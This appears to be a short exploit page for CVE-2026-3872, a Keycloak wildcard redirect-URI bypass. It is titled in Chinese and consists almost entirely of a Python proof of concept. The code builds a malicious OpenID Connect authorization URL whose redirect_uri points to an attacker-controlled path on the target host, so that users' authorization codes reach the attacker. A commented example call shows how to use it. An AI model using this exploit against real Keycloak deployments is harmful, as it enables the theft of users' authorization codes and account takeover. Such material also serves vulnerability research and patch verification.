CVE-2026-3872 Keycloak重定向绕过致信息泄露漏洞

# Proof of Concept for CVE-2026-3872 # This PoC demonstrates the logic to bypass wildcard redirect URI validation. import urllib.parse def exploit(base_url, client_id, controlled_path): """ Generates a malicious authorization URL. Assumes the attacker controls 'controlled_path' on the same host. """ # The vulnerable configuration allows something like: https://target.com/valid/* # The attacker uses: https://target.com/controlled_path/ redirect_uri = f"{base_url}/{controlled_path}/" params = { "client_id": client_id, "response_type": "code", "redirect_uri": redirect_uri, "scope": "openid", "state": "xyz" } return f"{base_url}/auth/realms/master/protocol/openid-connect/auth?{urllib.parse.urlencode(params)}" # Example usage # print(exploit("https://vulnerable-keycloak.com", "public-client", "attacker-folder"))